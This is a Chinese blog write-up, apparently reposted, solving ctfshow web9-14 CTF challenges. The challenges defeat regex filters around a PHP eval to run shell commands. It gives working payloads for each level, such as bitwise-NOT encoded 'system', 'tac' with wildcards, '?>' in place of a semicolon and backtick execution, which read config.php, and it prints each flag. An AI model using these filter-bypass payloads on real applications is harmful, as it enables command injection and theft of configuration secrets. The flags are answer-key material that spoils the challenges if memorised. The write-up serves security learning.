码农知识堂 - 1000bd
  •   Python
  •   PHP
  •   JS/TS
  •   JAVA
  •   C/C++
  •   C#
  •   GO
  •   Kotlin
  •   Swift
  • ctfshow萌新计划web9-14(正则匹配绕过)


    目录

    web9

    web10

    web11

    web12

    web13

    web14


    web9

    审一下代码,需要匹配到system|exec|highlight才会执行eval函数

    先看一下当前目录下有什么

    payload:?c=system('ls');

    index.php是首页,我们看看config.php

    payload:?c=system('cat config.php');

     没有回显,看一下源码,找到flag

    ctfshow{8e148a24-0ac7-4280-8bfe-f4fd4560112b} 

    web10

    这次if语句里加了个非,即过滤掉了system|exec|highlight

    用之前讲过的取反绕过,可以参考 http://t.csdnimg.cn/1p3dy

    即对我们想要执行的代码进行取反,url编码,再取反

    题目源代码里也有提示,flag在config.php里面

    代码很简单我们直接使用在线编译工具生成payload

    1. echo urlencode(~'system');
    2. echo "\n";
    3. echo urlencode(~'cat config.php');
    4. ?>

    构造payload:?c=(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%9C%90%91%99%96%98%D1%8F%97%8F);

    传入之后查看源代码

    ctfshow{826e3a2b-decb-42d0-ae45-dced3337b685} 

    web11

    才发现上一道题其实只需要对system取反绕过即可,这里才是过滤掉了cat

    继续使用上一道题的payload:

    或者只对system取反绕过,cat用tac代替 

    tac命令:反向显示文件内容,即最先显示的是最后一行,倒数第二行,倒数第三行,以此类推到最后显示原本文件的第一行内容。

    构造payload:?c=(~%8C%86%8C%8B%9A%92)('tac config.php');

    ctfshow{eef3eb10-069e-4c10-83c3-facc913d4dae}

    web12

    这里把文件名config,php也过滤了

    可以使用通配符 * 或者 ? 进行模糊查询

    构造payload:?c=(~%8C%86%8C%8B%9A%92)('tac c*');

    或者:?c=(~%8C%86%8C%8B%9A%92)('tac ???fi??p??');

    随便怎么敲都行

    ctfshow{523f3e7f-264f-438c-a355-aafb71807094}

     

    web13

    这里把;也过滤了

    使用 ?>代替

    构造payload:?c=(~%8C%86%8C%8B%9A%92)('tac c*')?>

    ctfshow{660772e4-5170-4117-98ad-43611f2af520}

    web14

    过滤了括号,使用反引号``代替

    system用echo替换,可以参考我前面的博客http://t.csdnimg.cn/M7VNu 

    构造payload: ?c=echo`tac c*`?>

    ctfshow{2ebfa3da-656e-42e2-b3f1-0ecd342ec6b7} 

  • 相关阅读:
    【华为机试真题详解】统计射击比赛成绩
    C++预编译、编译、链接
    【正点原子FPGA连载】 第四章Vivado软件的安装和使用 摘自【正点原子】DFZU2EG/4EV MPSoC 之FPGA开发指南V1.0
    nodejs+vue+elementui人才信息招聘网python java
    某60区块链安全之Call函数簇滥用实战一学习记录
    Mybatis中Like 的三种使用方式
    一个翻翻的小游戏。HTML式。
    总结-c#-反射
    TypeScrip6
    Web安全之CTF测试赛
  • 原文地址:https://blog.csdn.net/Myon5/article/details/133794220
  • 最新文章
  • 【JVM】编译执行与解释执行的区别是什么?JVM 使用哪种方式?
    用 Hashids 优雅解决 C 端自增 ID 暴露问题
    V8引擎 精品漫游指南--Ignition篇(上) 指令 栈帧 槽位 调用约定 内存布局 基础内容
    LLVM Pass快速入门(四):代码插桩
    milkup:桌面端 markdown AI续写和即时渲染
    基于项目工程构建SBOM(软件物料清单)的研究
    鸿蒙应用开发UI基础第二节:鸿蒙应用程序框架核心解析与实操
    .NET 中如何快速实现 List 集合去重?
    扣子Coze实战:从0到1打造抖音+小红书热点监控智能体
    浅谈数据访问层
  • 热门文章
  • 十款代码表白小特效 一个比一个浪漫 赶紧收藏起来吧!!!
    奉劝各位学弟学妹们,该打造你的技术影响力了!
    五年了,我在 CSDN 的两个一百万。
    Java俄罗斯方块,老程序员花了一个周末,连接中学年代!
    面试官都震惊,你这网络基础可以啊!
    你真的会用百度吗?我不信 — 那些不为人知的搜索引擎语法
    心情不好的时候,用 Python 画棵樱花树送给自己吧
    通宵一晚做出来的一款类似CS的第一人称射击游戏Demo!原来做游戏也不是很难,连憨憨学妹都学会了!
    13 万字 C 语言从入门到精通保姆级教程2021 年版
    10行代码集2000张美女图,Python爬虫120例,再上征途
小工具 小游戏
Copyright © 2022 侵权请联系2656653265@qq.com    京ICP备2022015340号-1

京公网安备 11010502049817号